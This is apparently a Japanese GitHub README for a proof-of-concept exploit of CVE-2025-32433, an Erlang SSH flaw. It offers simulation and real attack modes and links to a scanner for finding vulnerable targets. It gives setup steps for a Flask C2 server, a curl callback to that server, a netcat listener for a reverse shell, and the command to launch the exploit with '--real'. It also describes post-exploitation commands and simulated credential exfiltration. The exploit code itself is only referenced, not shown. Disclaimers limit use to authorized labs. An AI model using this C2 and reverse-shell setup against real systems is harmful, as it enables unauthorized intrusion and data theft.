
CVE-2025-32433の概念実証エクスプロイト。シミュレーションおよび実攻撃モードに対応し、リバースシェルコールバックとポストエクスプロイテーションシミュレーション用のFlaskベースのC2サーバーを含みます。
このリポジトリには、実際のCVE(CVE-2025-32433)を実証するコードが含まれています。
明示的な許可がある環境でのみ使用してください。
自分が所有・管理していないシステムに対してこのエクスプロイトをテストしないでください。
無断使用は違法であり、非倫理的で、サイバーセキュリティコミュニティに害を及ぼします。
CVE-2025-32433 のシミュレーションおよび実証POC
相棒のChocapikkが見つけたPoCのerling_cve.pyを見せてくれました。興味をそそられて、安全な環境でテストしてみたくなりました。
このリポジトリには2つの選択肢があります。以下に示す安全なシミュレーションスクリプトとシステムを使うか、
あるいは、実際のerling_cve.pyを使用することもできます(倫理的に、注意を払い、テスト許可のあるネットワーク上でのみ)。
このツールを使って実際のエクスプロイトをテストまたは実行する前に、相棒のm0usemm0useと彼のPythonスクリプトをチェックして、CVE-2025-32433の脆弱なターゲットを見つけてください!!!!
https://github.com/m0usem0use/erl_mouse
cve-2025-32433 のエクスプロイトのシミュレーション版
C2サーバーのセットアップ
Python FlaskベースのC2を構築します:ボットのコールバックやリバースシェルに強力です。
C2サーバーでこのセットアップスクリプトを実行します
apt update && apt install python3-pip git -y
sudo apt install python3-flask
mkdir ~/c2
cd ~/c2
nano c2_server.py (c2_serverスクリプトを貼り付け、必要に応じて編集)
実行
python3 c2_server.py
ボット(またはテストスクリプト)は次のようにcurlでホームに報告できます
curl -X POST http://:8080/report -d "Bot is online"
KaliにPython venvをセットアップ
mkdir ~/ssh-bot-lab && cd ~/ssh-bot-lab
Python仮想環境を作成します
python3 -m venv venv
source venv/bin/activate
sudo apt install python3-requests
コールバックのテスト
nano test_callback.py (test_callbackスクリプトを貼り付け、必要に応じて編集)
コールバックを実行
python3 test_callback.py
これで正式に次のものが揃いました
動作するvenv
稼働中のクラウドC2
機能するコールバックインジェクション
-ターゲット/被害者マシンにErlangプロセスまたはサービスが公開されている(またはシミュレートされている)必要があります
Eerling_cve.py は何をするのか?
ターゲットIPのポート22に接続します
偽のSSHバージョン文字列を送信します
細工されたパケットを送信します(脆弱性を引き起こす可能性が高い — Erlangの非公開SSHハンドラーやバッファオーバーフローのようなものを悪用するふりをします)
攻撃者IPへのリバースシェルをトリガーします
whoami、unameなどのコマンドを実行し、偽の「資格情報の外部送信」を /tmp/exfil.log に書き込むことで、ポストエクスプロイテーションをシミュレートします
見つけたErlang風のPoCを取得して、
Kali venv内で動作するようにします
「攻撃」が実行されたときにクラウドC2に報告するよう配線します
管理されたラボ内で倫理的かつ安全に実行します
盗まれたデータをシミュレートする /tmp/exfil.log が生成されるのを確認します
Kaliマシンから
nano poc_erlang_test.py
-poc_erlang_test.pyを貼り付け、必要に応じて編集
リスナーを開く
新しいターミナルで実行
nc -lvnp 4444
PoCを実行
python poc_erlang_test.py --real